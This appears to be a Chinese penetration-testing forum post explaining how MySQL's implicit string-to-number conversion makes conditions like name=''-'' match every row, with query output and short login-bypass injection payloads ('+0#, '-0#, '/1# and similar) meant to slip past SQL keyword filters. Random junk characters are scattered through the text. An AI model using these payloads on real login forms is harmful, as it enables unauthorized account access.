| 我们先来看这样一个场景。7 _) c: e8 @( C; x+ s4 x 有以下表结构: mysql> desc admin;, W) K! d3 m) m +----------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra |& N6 s! a! w9 G/ I, b +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment |6 J7 F) ~: Q1 b) D( q( V | name | char(32) | NO | UNI | NULL | | | password | char(32) | NO | UNI | NULL | |3 z; Q3 T" R0 ?# o +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) 执行select * from admin;,成功返回所有记录内容。 : M, x- K( q& P1 h s, A - ~; \, k5 n- O) B +----+--------+----------------------------------+ | id | name | password |) h9 m8 L; i3 A: K+ d$ d+ W) b: a +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |$ a- c+ f* z4 |5 W | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ 3 rows in set (0.00 sec) 执行select * from admin where name=”;,没有匹配到任何记录。 7 ?/ k" ~/ } ^ K7 i0 w+ Z0 d mysql> select * from admin where name = '';! \: }5 e2 n4 J" N% \7 W Empty set (0.00 sec) 那么我们来执行select * from admin where name = ”-”;9 \& i( S+ f+ j) }4 P; X) X $ ?9 e' V7 R @, Y +----+--------+----------------------------------+7 ?9 q% U' K) E7 A6 {! {1 m | id | name | password | +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |+ C+ ?8 H! c, x7 x; ]8 Y; U# ] | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ 3 rows in set, 3 warnings (0.00 sec)4 X8 v' H6 R7 R2 |' q 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: : J/ K6 V u$ K& K( f; L2 t / |+ T4 T7 B }1 T8 G3 N mysql> show warnings;6 D$ r& ^0 s9 z +---------+------+------------------------------------------ | Level | Code | Message +---------+------+------------------------------------------% U" o* Z) A; {/ _, w5 I3 r | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s- l6 M5 ~# f- S" P. Q! S9 F: ^ | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b& ^# `1 d" V9 c& W7 N +---------+------+------------------------------------------9 D: M) l- D5 P3 N 3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 3 V' P2 Q! Y% M3 y" r( U $ Q- h5 c# |9 `% A$ A' h; e mysql> select ''-'';7 Z' T `( \% o" u) }9 x +-------+4 o8 I2 U, _* |1 J( C | ''-'' | +-------+) J) I. }; T# M0 I | 0 | +-------+7 J6 g; G1 C" F- ]8 D" H4 q( r! @ 1 row in set (0.00 sec)! S, R5 K# |- H0 e+ R+ A C) Z/ g8 M 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: $ G9 H1 e8 s, `/ P ^ : X! o6 M7 V1 R mysql> select CAST((select name from admin limit 1,1) as DECIMAL);/ @7 P4 V4 r$ E1 \3 l6 N: w. @0 p +-----------------------------------------------------+ | CAST((select name from admin limit 1,1) as DECIMAL) |% S& v. N, N1 X F +-----------------------------------------------------+1 s7 ~2 D3 G$ H/ F3 w* _$ e | 0 |% w4 Z* w) A" t" I: i1 s: M# T +-----------------------------------------------------+' n+ t/ C! U, b6 j, [; O9 a: }2 e6 H 1 row in set, 1 warning (0.00 sec)+ C) ~2 W; w3 J5 [: _% _* X) d. B 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 , Q# b$ U) z1 k SQL注入场景: http://www.sqlzoo.net/hack/ . s5 K, ]) {1 o 7 Z' R% F8 h4 T . f$ E: h f9 ]# G5 {& e- v 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ' s* [" u/ O' j$ V2 ~ ( N. i) l# E1 u& e& q" m 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 mysql> select ''/1;) Q4 J+ B5 d4 p% n" x7 m +------+ | ''/1 |$ y2 N( ^1 F5 A! c$ N8 F: l +------+0 p" O4 s1 r5 i | 0 | +------+/ a. y0 w( t# V9 n5 D3 [1 ?0 R 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。5 K$ H% U! b8 L% c, q |
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |